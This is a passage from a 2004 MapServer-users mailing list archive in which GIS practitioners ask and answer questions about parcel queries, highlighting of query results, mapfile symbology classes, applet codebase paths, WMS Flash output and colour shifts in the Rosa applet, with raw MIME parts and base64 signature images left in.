is a multi-part message in MIME format. ------=_NextPart_000_0111_01C45DEA.95623BF0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Hi list, I'm ready to try my hand at query's now, I've seen info at the test = suite but I'm looking for a type in a query that will bring in matches = from a polygon database. example, you want to find john smith's property = so you but don't know his first name for sure so you type smith and = every record with the combination of smith is return for you to pick out = the one you want and then give your traditional query template. Does = anyone have something like this I could look at online? Sincerely, John John M. Duggan LS gis at farmvilleva.com http://www.farmvilleva.com (434) 392-3333 "......for the whole universe is in Him and He dwells within our heart." -The Upanishads ------=_NextPart_000_0111_01C45DEA.95623BF0 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
Hi list,
I'm ready to try my hand at query's = now, I've=20 seen info at the test suite but I'm looking for a type in a query that = will=20 bring in matches from a polygon database. example, you want to find john = smith's=20 property so you but don't know his first name for sure so you type smith = and=20 every record with the combination of smith is return for you to pick out = the one=20 you want and then give your traditional query template. Does anyone have = something like this I could look at online?
Sincerely,
John
 
John M. Duggan LS
gis at farmvilleva.com
http://www.farmvilleva.com
(43= 4)=20 392-3333
 
"......for the whole universe is in Him = and He=20 dwells
within our=20 heart."
          &n= bsp;           &nb= sp;  =20 -The Upanishads
------=_NextPart_000_0111_01C45DEA.95623BF0-- From blaine_hack1 at yahoo.com Tue Jun 29 12:01:02 2004 From: blaine_hack1 at yahoo.com (Blaine Hackett) Date: Tue, 29 Jun 2004 12:01:02 -0700 (PDT) Subject: [Mapserver-users] Query results highlighting In-Reply-To: <001001c45afa$8cfe0cc0$1300a8c0@cuestasys.com> Message-ID: <20040629190102.86959.qmail@web41107.mail.yahoo.com> Mark Here is a layer object I used to highlight a parcel. Seems to work well. LAYER #PARCEL LAYER NAME parcel STATUS DEFAULT DATA "parcels" MAXSCALE 15000 CLASSITEM "feature" TYPE LINE CLASS OUTLINECOLOR 255 0 0 SYMBOL "circle" SIZE 3 TEMPLATE "query.html" END #end of class object END # end of parcel layer object See if that works. Blaine --- Mark Adams wrote: > Hi folks, > > Quick question from a newbie: is there a way to > change the > size/intensity of the highlighting of query results? > In my map file I?ve > defined a Querymap layer, set to hilite in a bright > yellow colour, but > I?ve noticed that for polygons layers where I?ve > only defined an > Outlinecolor and no fill color, only a narrow > outline gets highlighted, > not the feature itself. As a result you have to > squint at the screen to > determine what features are actually ?highlighted?. > I could change my > map file so that all polygon layers are filled, but > this seems extreme. > Is there an other way to highlight the whole > feature, or change the > highlight outline to a thicker line? > > Thanks. > > ------------------------------ > Mark Adams > Business & Systems Analyst > Cuesta Systems Inc. > 5230 South Service Road > Burlington, ON L7L 5K2 > Phone: 905-333-4544 x14 > Fax: 905-333-0455 > Email: markadams at cuestasys.com > > __________________________________ Do you Yahoo!? Yahoo! Mail - You care about security. So do we. http://promotions.yahoo.com/new_mail From msmith at sanangelompo.org Tue Jun 29 14:32:35 2004 From: msmith at sanangelompo.org (Michael Smith) Date: Tue, 29 Jun 2004 16:32:35 -0500 Subject: [Mapserver-users] load class: jBox not found Message-ID: <200406291729421.SM02352@PLANGIS> Does anyone know what causes this error message. I have jBox installed on Win2000 and it was running. Not sure what I did to cause this. I have a folder on the C:\inetpub\wwwroot\java\jBox that contains the jbox.class. When I run Mapserver everythings seems to be working and images of the maps are being put into my tmp folder but only grey area is displayed. Thanks for any input. Mike From rich at greenwoodmap.com Tue Jun 29 15:42:04 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Tue, 29 Jun 2004 16:42:04 -0600 Subject: [Mapserver-users] load class: jBox not found In-Reply-To: <200406291729421.SM02352@PLANGIS> References: <200406291729421.SM02352@PLANGIS> Message-ID: <40E1F03C.1010807@greenwoodmap.com> Michael Smith wrote: > Does anyone know what causes this error message. I have jBox installed on > Win2000 and it was running. Not sure what I did to cause this. I have a > folder on the C:\inetpub\wwwroot\java\jBox that contains the jbox.class. > When I run Mapserver everythings seems to be working and images of the maps > are being put into my tmp folder but only grey area is displayed. Thanks > for any input. Check your CODEBASE attribute. It can be a full URL, or (more commonly) just the path from the root of your server. In your case, it should be: codebase='/java/jBox' For example: -- Richard Greenwood www.greenwoodmap.com From cristinanoversa at clix.pt Wed Jun 30 04:38:12 2004 From: cristinanoversa at clix.pt (cristinanoversa at clix.pt) Date: Wed, 30 Jun 2004 12:38:12 +0100 Subject: [Mapserver-users] valid GML? Message-ID: <20040630113812.32422.qmail@maboque.srv.clix.pt> Does anyone can tell me if? mapserver returns valid GML? I?m trying to
verify the GML response of a GetFeature request using a GML instance
validator from http://cite.occamlab.com/gmlTools/validate??
but all I get are lots of? message errors.



Thanks

Cristina

Clix Rapidix - Aumente at? 6X a velocidade da sua Internet
Adira em http://acesso.clix.pt e comece logo a navegar


  From swapan at dataworld.co.za Wed Jun 30 05:37:55 2004 From: swapan at dataworld.co.za (Swapan Mazumdar) Date: Wed, 30 Jun 2004 14:37:55 +0200 Subject: [Mapserver-users] SYMBOLOGY USING MAPSERVER Message-ID: <00F1D25697A9094BA850427870FC5F0508397F@kwazulu.dataworld.co.za> This is a multi-part message in MIME format. ------_=_NextPart_001_01C45E9F.1136D050 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hi=20 Greetings, =20 I want to create SYMBOLOGY for a layer based on a shape file field, similar to the feature provided by ESRI ArcView for UNIQUE VALUE on LEGEND. Is it possible to create similar symbology in MAP file. Any quick help will be appreciated, it is kind of very urgent. =20 Regards, Swapan Mazumdar Dataworld Pty Ltd, South Africa ------_=_NextPart_001_01C45E9F.1136D050 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hi

Greetings,

 

I want to create SYMBOLOGY for a layer based = on a shape file field, similar to the feature provided by ESRI ArcView for UNIQUE = VALUE on LEGEND.

Is it possible to create similar symbology in = MAP file. Any quick help will be appreciated, it is kind of very = urgent.

 

Regards,

Swapan Mazumdar

Dataworld Pty Ltd, South = Africa

------_=_NextPart_001_01C45E9F.1136D050-- From gl04 at jdbarnes.com Wed Jun 30 05:44:18 2004 From: gl04 at jdbarnes.com (Lindsay Greffel) Date: Wed, 30 Jun 2004 08:44:18 -0400 Subject: [Mapserver-users] Symbols? Message-ID: Hello everyone, I'm trying to find out if symbols exist for polygon features such as wetlands (marsh, bog, etc). I've tried the mailing list and have not found anything as of yet. Thanks! Lindsay Greffel From frans at geodan.nl Wed Jun 30 06:34:03 2004 From: frans at geodan.nl (Frans Knibbe) Date: Wed, 30 Jun 2004 15:34:03 +0200 Subject: [Mapserver-users] WMS flash problem Message-ID: <6.1.1.1.0.20040630153045.01f9a828@mailbin> Hello, I am having the same problem as Sebastiaan: When making a WMS request with 'format=application/x-shockwave-flash', a serviceException is returned with the error "msBuildPath: Unable to access file.". Specifying different formats does work, but when I request SWF, something goes wrong. Does anyone know how to succesfully request a flash movie? I am using precompiled MapServer 4.2, win XP and Apache. Greetings, Frans Knibbe From flavio at tydac.ch Wed Jun 30 07:09:13 2004 From: flavio at tydac.ch (Flavio Hendry) Date: Wed, 30 Jun 2004 16:09:13 +0200 Subject: [Mapserver-users] SYMBOLOGY USING MAPSERVER In-Reply-To: <00F1D25697A9094BA850427870FC5F0508397F@kwazulu.dataworld.co.za> References: <00F1D25697A9094BA850427870FC5F0508397F@kwazulu.dataworld.co.za> Message-ID: Hi Swapan as follows: - CLASSITEM "NAME" is the column name in your shape - EXPRESSION "Abbau- und Deponiezone" is the content in the column LAYER NAME "Zonenplan" TYPE POLYGON MINSCALE 0 MAXSCALE 1000000 SYMBOLSCALE 1000 STATUS ON CLASSITEM "NAME" DATA "raumplanung/Zonenplan" CLASS NAME "Abbau- und Deponiezone" EXPRESSION "Abbau- und Deponiezone" COLOR 187 77 98 OUTLINECOLOR 0 0 0 TEMPLATE ttt.htm END CLASS NAME "Campingzone" EXPRESSION "Campingzone" COLOR 175 154 121 OUTLINECOLOR 0 0 0 TEMPLATE ttt.htm END CLASS EXPRESSION "Dorfkernzone" COLOR 192 100 72 OUTLINECOLOR 0 0 0 TEMPLATE ttt.htm END CLASS EXPRESSION "Dorfzone" COLOR 194 160 80 OUTLINECOLOR 0 0 0 TEMPLATE ttt.htm END CLASS EXPRESSION "Freihaltezone" COLOR 0 255 0 OUTLINECOLOR 0 0 0 TEMPLATE ttt.htm END CLASS EXPRESSION "Gewerbezone" COLOR 255 255 192 OUTLINECOLOR 0 0 0 TEMPLATE ttt.htm END CLASS EXPRESSION "Landwirtschaftszone" COLOR 194 254 194 OUTLINECOLOR 0 0 0 TEMPLATE ttt.htm END CLASS EXPRESSION "Touristikzone" COLOR 240 230 140 OUTLINECOLOR 0 0 0 TEMPLATE ttt.htm END CLASS EXPRESSION "?briges gemeindegebiet" COLOR 255 255 255 OUTLINECOLOR 0 0 0 TEMPLATE ttt.htm END CLASS EXPRESSION "Waldzone" COLOR 181 247 181 SYMBOL 'circle_empty' SIZE 24 MINSIZE 4 MAXSIZE 26 OUTLINECOLOR 0 0 0 TEMPLATE ttt.htm END CLASS EXPRESSION "Wohn- Gewerbezone" COLOR 237 168 243 OUTLINECOLOR 0 0 0 TEMPLATE ttt.htm END CLASS EXPRESSION "Wohnzone 1" COLOR 255 255 0 OUTLINECOLOR 0 0 0 TEMPLATE ttt.htm END CLASS EXPRESSION "Wohnzone 2" COLOR 254 172 0 OUTLINECOLOR 0 0 0 TEMPLATE ttt.htm END CLASS EXPRESSION "Zone f?r ?ffentl. Anlagen" COLOR 210 210 210 OUTLINECOLOR 0 0 0 TEMPLATE ttt.htm END CLASS EXPRESSION "Zone f?r ?ffentl. Bauten u. Anlagen" COLOR 165 165 165 OUTLINECOLOR 0 0 0 TEMPLATE ttt.htm END END Mit freundlichem Gruss / Best Regards Flavio Hendry ---------------------------------------------------------------- TYDAC NEWS http://www.tydac.ch/german/index.php?menu=News_actual ---------------------------------------------------------------- ############ ? ? ?Mit freundlichen Gruessen / Kind Regards ############? ? ? ? ? ? ?mailto:flavio at tydac.ch ############ ? ? ? ? TYDAC AG - http://www.tydac.ch #### ? ?#### ? ? ? ?Geographic Information Solutions #### ? ?#### ? ? ? ? Luternauweg 12 -- CH-3006 Bern ############ ? Tel +41 (0)31 368 0180 - Fax +41 (0)31 368 1860 ---------------------------------------------------------------- -----Original Message----- From: "Swapan Mazumdar" To: Date: Wed, 30 Jun 2004 14:37:55 +0200 Subject: [Mapserver-users] SYMBOLOGY USING MAPSERVER > Hi > > Greetings, > > > > I want to create SYMBOLOGY for a layer based on a shape file field, > similar to the feature provided by ESRI ArcView for UNIQUE VALUE on > LEGEND. > > Is it possible to create similar symbology in MAP file. Any quick > help > will be appreciated, it is kind of very urgent. > > > > Regards, > > Swapan Mazumdar > > Dataworld Pty Ltd, South Africa > > From huey.brantley at vanderbilt.edu Wed Jun 30 07:28:03 2004 From: huey.brantley at vanderbilt.edu (Huey Brantley) Date: Wed, 30 Jun 2004 09:28:03 -0500 Subject: [Mapserver-users] ArcSDE Users Message-ID: <40E2CDF3.2070108@vanderbilt.edu> I am wondering how many Mapserver users are interacting with ArcSDE and a eGDB. Of those users, can someone explain any pros and cons? What OS's are in use? Thanks From PAGUREKD at AGR.GC.CA Wed Jun 30 07:30:01 2004 From: PAGUREKD at AGR.GC.CA (Pagurek, Debbie) Date: Wed, 30 Jun 2004 10:30:01 -0400 Subject: [Mapserver-users] Rosa applet, map colours changing as I zoom in Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C45EAE.BA858A61 Content-Type: multipart/alternative; boundary="----_=_NextPart_002_01C45EAE.BA858A61" ------_=_NextPart_002_01C45EAE.BA858A61 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all, Weird problem today. I just upgraded my production server to MapServer = 4.2. I have an application that uses the Rosa applet. The png image of the = map is appearing correctly at first (a map with the WMS demis server map = with a layer of red points displayed on top), but as I zoom in, the = colour of the points is changing! It changes to black and then to grey = and I can't see the points very well. However, if I do a view source on = one of these zoomed in images and then view just the image itself, the = image with points appears as it should - RED points on the background = wms image! =20 Does anyone have any ideas as to what is going on? =20 =20 Thanks, Debbie =20 =20 Debbie Pagurek, M.Sc. Agriculture and Agri-Food Canada/Agriculture et Agroalimentaire Canada Telephone/T=E9l=E9phone: 613-759-1543 Facsimile/T=E9l=E9copieur: 613-759-1937 960 Carling Ave. Rm 1135 K.W. Neatby Bldg. Ottawa, Ontario K1A 0C6 pagurekd at agr.gc.ca =20 =20 =20 =20 ------_=_NextPart_002_01C45EAE.BA858A61 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Hi all,

Weird problem today. I just upgraded my production = server to MapServer 4.2.

I have an application that uses the = Rosa applet.=A0 The png image of the map is appearing correctly at first (a map with the = WMS demis server map with a layer of red points displayed on top), but as I zoom = in, the colour of the points is changing! =A0It changes to black and then to = grey and I can’t see the points very well.=A0 However, if I do a view source = on one of these zoomed in images and then view just the image itself, the image = with points appears as it should – RED points on the background wms = image!

 

Does anyone have any ideas as to what is going on?=A0 =

 

Thanks,

Debbie

 

 

Debbie Pagurek, M.Sc.

Agriculture and Agri-Food Canada/Agriculture et Agroalimentaire Canada
Telephone/T=E9l=E9phon
e: 613-759-1543
Facsimile/T=E9l=E9copieur: 613-759-1937

960 Carling Ave. Rm 1135 K.W. Neatby = Bldg.

Ottawa, Ontario
K1A 0C6
pagurekd at agr.gc.ca
=

 

3D"Agriculture

 

------_=_NextPart_002_01C45EAE.BA858A61-- ------_=_NextPart_001_01C45EAE.BA858A61 Content-Type: image/gif; name="image001.gif" Content-Transfer-Encoding: base64 Content-ID: Content-Description: image001.gif Content-Location: image001.gif R0lGODlhFgEYAPcAAP//////zP//mf//Zv//M///AP/M///MzP/Mmf/MZv/MM//MAP+Z//+ZzP+Z mf+ZZv+ZM/+ZAP9m//9mzP9mmf9mZv9mM/9mAP8z//8zzP8zmf8zZv8zM/8zAP8A//8AzP8Amf8A Zv8AM/8AAMz//8z/zMz/mcz/Zsz/M8z/AMzM/8zMzMzMmczMZszMM8zMAMyZ/8yZzMyZmcyZZsyZ M8yZAMxm/8xmzMxmmcxmZsxmM8xmAMwz/8wzzMwzmcwzZswzM8wzAMwA/8wAzMwAmcwAZswAM8wA AJn//5n/zJn/mZn/Zpn/M5n/AJnM/5nMzJnMmZnMZpnMM5nMAJmZ/5mZzJmZmZmZZpmZM5mZAJlm /5lmzJlmmZlmZplmM5lmAJkz/5kzzJkzmZkzZpkzM5kzAJkA/5kAzJkAmZkAZpkAM5kAAGb//2b/ zGb/mWb/Zmb/M2b/AGbM/2bMzGbMmWbMZmbMM2bMAGaZ/2aZzGaZmWaZZmaZM2aZAGZm/2ZmzGZm mWZmZmZmM2ZmAGYz/2YzzGYzmWYzZmYzM2YzAGYA/2YAzGYAmWYAZmYAM2YAADP//zP/zDP/mTP/ ZjP/MzP/ADPM/zPMzDPMmTPMZjPMMzPMADOZ/zOZzDOZmTOZZjOZMzOZADNm/zNmzDNmmTNmZjNm MzNmADMz/zMzzDMzmTMzZjMzMzMzADMA/zMAzDMAmTMAZjMAMzMAAAD//wD/zAD/mQD/ZgD/MwD/ AADM/wDMzADMmQDMZgDMMwDMAACZ/wCZzACZmQCZZgCZMwCZAABm/wBmzABmmQBmZgBmMwBmAAAz /wAzzAAzmQAzZgAzMwAzAAAA/wAAzAAAmQAAZgAAMwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAFgEYAAAI/wABCBxI sKDBgwgTKlzIsKHDhxAjSpxIsaLFixgzatzIsaPHjyA5jhhJsiTFkihHULRybQXDa1ZeugwUUiDL mgKvsWLIaudCVjRpZhSKE2JKkwgrOEh4lCRFVjo1XgOwYmpNKz5DVrWKMRDNlhnBFn3YdGRCDhyY lp1YFQDXQNd0WlnR02tMuNdosooJYGfLuH4F0qXbs29clwPx7sQK1WfjwjX3ArUJWC/cQDFZRvUq kNUKr3gH5+wLFwBevoIBmz481mFZlQUPHHAw0oGDAwZfT5w8maXLvFX1zgULc2/Otm3dpnbrl+ZN ysfh/v48tWpWkNWz//bbkjNxrz67f/+dPvpwabeI0ff1m771Qt2xU+IuCD9iXqxTJ5sOlFwyatLH hTcaVVNZBZNXYgFgxYLideYbdCGxxKBpPmGlHGmBXJdhZ5+Np55yBu51GWWgFdiee2o1dRAHJaWV 21oRWddTfnztRZeD+lFlHHrEDcgjgQsuOJCEg3HW14MKXucRYFBhVmFg+1komJGeeXdceTlhtiBi vgX5IYoKwTdfBQBUUBKZHMg2X30P5TVQTzdVNaFbDK5QFWEKFkhgTjFBlRxMe3aWnRUb0vlgXFpx dSdxUE5GHKFT+bYhoG6WZlWhgF456X9gHgSfmSzaVpKoI5EJAJsOcbUnS3XdeORqbm7/1ZNoiGoG lKtbJeiWThlS2WdlIRV6nIxQcmZrTjpVGVRLW1n6ZlxEEajTTJl26imMtJHEorajCoTqSkJVa+24 CX3WmZLkpvuiigAc8Fq3p8J4Ua7oqmtvXIjaqy99MJr5bqneyrvvwAQX3FF9/r5marzsstXQiVTZ aWeMBn3GqcMaQYyxxvNyfBChHj+kMZvZNrXUQN86BNfFBrk5UK75ttleY3Gx3KbNEsVcUXf1OuRq QTkqJKvOE6mKssDtmsxvw/ZBJVFyRaf3XJ4WBV2RZhjpypbR9hHlMkVcM3zUuiidfDTTIpsoaM2y 7rgcQXhZpRlYcyf4tYKwMotvdqrB//ybakUTKlTcfvmJr3OHK+fd4TXnnfdfUUGF6OKe4Zse1BHT uyu0eTauWKT4xoTqbLi5K5BsS48tEW/LZinnqwTtPZyg6vkG1p0DiTvgrVYBZWSBMd35O9h7/lk4 cwG61NZU3m2XZ3+YGfgb1eh55yHUU78Zrls0LS9Qhsk5S6HYKSVkOkIpvwQUojt69SeDbjI7U1Yw cZVs7umJmxmCc/lkLIJQM06JJnKZ0hTKQgbS3n6cxryvOEhHl+mJ7x4oNwBaiXsz4pKqJuYktSmn Q3kRVnXAQ5P0JS1FqoMIS0pEF6HYyDHBU56qIEMn+53nSzSs4Uz407sMCYgrktlezvx8F8InXQiI K9tTA48YPKD4xE6YignzwKKsI3LpZTOUYHkQAzwFOSl3dPIi+VBiPthcC20NqZZ0YCKh59wNc9yz DnO2Mkc/YZE/1rkTq54jQf5Ix08rA44dVaiovzCoUd0BHl30NKksKXE44OGT4loioQtO64aGgWKB /PgXLt5pK8HBzycRZcL3IK0h17lRC281uPb8TDB1eRNkCOM+guRqcLcSkU36J6I+tWo9gouIkTiE oZ1kBS6eIZBndCkk/ymve7EUkmlcUpheYaWZskwm3Cyno17ypzNJkkw3N8SYVxoMIVLS3Tnd46q7 rfOdA2tMtODpHmTOk57uCQgAOw== ------_=_NextPart_001_01C45EAE.BA858A61-- From msmith at sanangelompo.org Wed Jun 30 08:06:31 2004 From: msmith at sanangelompo.org (Michael Smith) Date: Wed, 30 Jun 2004 10:06:31 -0500 Subject: [Mapserver-users] load class: jBox not found In-Reply-To: <40E1F03C.1010807@greenwoodmap.com> Message-ID: <200406301103998.SM01156@PLANGIS> I changed the path in the codebase to a url like you mentioned and that did it. Thanks for the help. -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Richard Greenwood Sent: Tuesday, June 29, 2004 5:42 PM To: Michael Smith Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] load class: jBox not found Michael Smith wrote: > Does anyone know what causes this error message. I have jBox > installed on Win2000 and it was running. Not sure what I did to cause > this. I have a folder on the C:\inetpub\wwwroot\java\jBox that contains the jbox.class. > When I run Mapserver everythings seems to be working and images of the > maps are being put into my tmp folder but only grey area is displayed. > Thanks for any input. Check your CODEBASE attribute. It can be a full URL, or (more commonly) just the path from the root of your server. In your case, it should be: codebase='/java/jBox' For example: -- Richard Greenwood www.greenwoodmap.com _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From PAGUREKD at AGR.GC.CA Wed Jun 30 08:01:51 2004 From: PAGUREKD at AGR.GC.CA (Pagurek, Debbie) Date: Wed, 30 Jun 2004 11:01:51 -0400 Subject: [Mapserver-users] Rosa applet, map colours changing as I zoom in Message-ID: One more thing about my problem - I had something like this happen once before and I posted then. The answer I got related to the following post, and I DID make the appropriate change in my mapfile - I already am using the PROCESSING statement. http://mapserver.gis.umn.edu/cgi-bin/wilma_hiliter/mapserver-users/0310/msg00283.html?line=29#hilite TYPE RASTER PROCESSING "COLOR_MATCH_THRESHOLD=3" Debbie -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Pagurek, Debbie Sent: Wednesday, June 30, 2004 10:30 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Rosa applet, map colours changing as I zoom in Hi all, Weird problem today. I just upgraded my production server to MapServer 4.2. I have an application that uses the Rosa applet.? The png image of the map is appearing correctly at first (a map with the WMS demis server map with a layer of red points displayed on top), but as I zoom in, the colour of the points is changing! ?It changes to black and then to grey and I can't see the points very well.? However, if I do a view source on one of these zoomed in images and then view just the image itself, the image with points appears as it should - RED points on the background wms image! ? Does anyone have any ideas as to what is going on?? ? Thanks, Debbie ? ? Debbie Pagurek, M.Sc. Agriculture and Agri-Food Canada/Agriculture et Agroalimentaire Canada Telephone/T?l?phone: 613-759-1543 Facsimile/T?l?copieur: 613-759-1937 960 Carling Ave. Rm 1135 K.W. Neatby Bldg. Ottawa, Ontario K1A 0C6 pagurekd at agr.gc.ca ? ? From woodbri at swoodbridge.com Wed Jun 30 08:53:39 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Wed, 30 Jun 2004 11:53:39 -0400 Subject: [Mapserver-users] Rosa applet, map colours changing as I zoom in In-Reply-To: References: Message-ID: <40E2E203.8030405@swoodbridge.com> Yup!, this is the problem of using up all the color lookup table entries in the browser and the brower then does substitution or over-writing of entries so it gets displayed wrong. I have had to create a dummy LAYER with CLASS's to define colors I want to protect and using a feature to place dots on the image as the first layer. This then gets over written by other layers, bit forces mapserver to create the colors that I want early in the image as it seems the later ones are the ones that get changes. This is very annoying and very hard to maintain over a bunch of mapfiles that are changing. There is a bug about it (don't remember the number), but I don't know when it might be tackled. -Steve Pagurek, Debbie wrote: > Hi all, > > Weird problem today. I just upgraded my production server to MapServer 4.2. > > I have an application that uses the Rosa applet. The png image of the map is appearing correctly at first (a map with the WMS demis server map with a layer of red points displayed on top), but as I zoom in, the colour of the points is changing! It changes to black and then to grey and I can't see the points very well. However, if I do a view source on one of these zoomed in images and then view just the image itself, the image with points appears as it should - RED points on the background wms image! > > > > Does anyone have any ideas as to what is going on? > > > > Thanks, > > Debbie > > > > > > Debbie Pagurek, M.Sc. > > Agriculture and Agri-Food Canada/Agriculture et Agroalimentaire Canada > Telephone/T?l?phone: 613-759-1543 > Facsimile/T?l?copieur: 613-759-1937 > > 960 Carling Ave. Rm 1135 K.W. Neatby Bldg. > > Ottawa, Ontario > K1A 0C6 > pagurekd at agr.gc.ca > > > > > > > > From assefa at dmsolutions.ca Wed Jun 30 09:32:42 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Wed, 30 Jun 2004 12:32:42 -0400 Subject: [Mapserver-users] Rosa applet, map colours changing as I zoom in In-Reply-To: References: Message-ID: <40E2EB2A.6030503@dmsolutions.ca> Debbie, A question about your e-mail ? Does this happens becuase you have upgraded your mapserver to 4.2 (I guess with the same Rosa applet) ? It could be a problem with the sixlegs (http://www.sixlegs.com/) libarary used for PNG images in ROSA. Is it possible to have the png file sent to me directly. I will see if I have the same problem loading it here and also try to upgarde with newer relases of the sixlegs libabary ? Later, Pagurek, Debbie wrote: > One more thing about my problem - I had something like this happen once before and I posted then. The answer I got related to the following post, and I DID make the appropriate change in my mapfile - I already am using the PROCESSING statement. > > http://mapserver.gis.umn.edu/cgi-bin/wilma_hiliter/mapserver-users/0310/msg00283.html?line=29#hilite > > TYPE RASTER > PROCESSING "COLOR_MATCH_THRESHOLD=3" > > Debbie > > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Pagurek, Debbie > Sent: Wednesday, June 30, 2004 10:30 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Rosa applet, map colours changing as I zoom in > > Hi all, > Weird problem today. I just upgraded my production server to MapServer 4.2. > I have an application that uses the Rosa applet. The png image of the map is appearing correctly at first (a map with the WMS demis server map with a layer of red points displayed on top), but as I zoom in, the colour of the points is changing! It changes to black and then to grey and I can't see the points very well. However, if I do a view source on one of these zoomed in images and then view just the image itself, the image with points appears as it should - RED points on the background wms image! > > Does anyone have any ideas as to what is going on? > > Thanks, > Debbie > > > Debbie Pagurek, M.Sc. > Agriculture and Agri-Food Canada/Agriculture et Agroalimentaire Canada > Telephone/T?l?phone: 613-759-1543 > Facsimile/T?l?copieur: 613-759-1937 > 960 Carling Ave. Rm 1135 K.W. Neatby Bldg. > Ottawa, Ontario > K1A 0C6 > pagurekd at agr.gc.ca > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From gdutanv at cuenca.net.ec Wed Jun 30 10:46:37 2004 From: gdutanv at cuenca.net.ec (=?iso-8859-1?B?R2lvdmFubmkgRHV04W4gVmlsbGFsdGE=?= ) Date: Wed, 30 Jun 2004 12:46:37 -0500 Subject: [Mapserver-users] How do I search the name of propietary en parcel map? References: <20040630170004.17868.38636.Mailman@lists.gis.umn.edu> Message-ID: <40E2FC7D.000006.01340@EI01SIDSITGE> --------------Boundary-00=_PPU412S0000000000000 Content-Type: Multipart/Alternative; boundary="------------Boundary-00=_QPU4WCW0000000000000" --------------Boundary-00=_QPU4WCW0000000000000 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I have de parcels layer with name propietary and key=0D =0D How do I search the name propietary and that the map=0D zoom to the current parcel =0D =0D I need map file and document with php/mapscript=0D =0D Thanks your help=20 --------------Boundary-00=_QPU4WCW0000000000000 Content-Type: Text/HTML; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I have de parcels layer with name propietary and key
 
How do I search the name propietary and that the map
zoom to the current parcel
 
I need map file and document with php/mapscript
 
Thanks your help
=09 =09 =09 =09 =09 =09 =09
________________________________________________________________= _
<= IMG=20 align=3Dbaseline alt=3D"" border=3D0 hspace=3D0=20 src=3D"cid:D7D1768F-71B7-4DA2-B4D5-F4AD4D631E7F">  IncrediMai= l -=20 El Email ha evolucionado finalmente -
<= FONT=20 face=3D"Times New Roman" size=3D3>Haga clic=20 aqu=ED
--------------Boundary-00=_QPU4WCW0000000000000-- --------------Boundary-00=_PPU412S0000000000000 Content-Type: image/gif; name="IMSTP.gif" Content-Transfer-Encoding: base64 Content-ID: R0lGODlhFAAPALMIAP9gAM9gAM8vAM9gL/+QL5AvAGAvAP9gL////wAAAAAAAAAAAAAAAAAAAAAA AAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQJFAAIACwAAAAAFAAPAAAEVRDJSaudJuudrxlEKI6B URlCUYyjKpgYAKSgOBSCDEuGDKgrAtC3Q/R+hkPJEDgYCjpKr5A8WK9OaPFZwHoPqm3366VKyeRt E30tVVRscMHDqV/u+AgAIfkEBWQACAAsAAAAABQADwAABBIQyUmrvTjrzbv/YCiOZGmeaAQAIfkE CRQACAAsAgABABAADQAABEoQIUOrpXIOwrsPxiQUheeRAgUA49YNhbCqK1kS9grQhXGAhsDBUJgZ AL2Dcqkk7ogFpvRAokSn0p4PO6UIuUsQggSmFjKXdAgRAQAh+QQFCgAIACwAAAAAFAAPAAAEEhDJ Sau9OOvNu/9gKI5kaZ5oBAAh+QQJFAAIACwCAAEAEAANAAAEShAhQ6ulcg7Cuw/GJBSF55ECBQDj 1g2FsKorWRL2CtCFcYCGwMFQmBkAvYNyqSTuiAWm9ECiRKfSng87pQi5SxCCBKYWMpd0CBEBACH5 BAVkAAgALAAAAAAUAA8AAAQSEMlJq7046827/2AojmRpnmgEADs= --------------Boundary-00=_PPU412S0000000000000-- From tjmitchell at riverside.bc.ca Wed Jun 30 13:28:06 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Wed, 30 Jun 2004 13:28:06 -0700 Subject: [Mapserver-users] ArcSDE Users In-Reply-To: <40E2CDF3.2070108@vanderbilt.edu> Message-ID: > I am wondering how many Mapserver users are interacting with ArcSDE and > a eGDB. > > Of those users, can someone explain any pros and cons? What OS's are in > use? Huey, you may find a couple of these surveys I took earlier on: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?SurveyResults One pertains to the most popular data formats and a couple others pertain to operating systems/platforms. Hope they help. Tyler From tjmitchell at riverside.bc.ca Wed Jun 30 14:44:16 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Wed, 30 Jun 2004 14:44:16 -0700 Subject: [Mapserver-users] help trying a WMS connection Message-ID: This NASA/JPL WMS that has a global landsat mosaic (and more) is quite impressive. I can view it with the ArcView 3 wmsclient from Refractions. I can also get an image manually constructing my own URL. But I can't get MapServer 4.2.0 or 4.3 to render it. 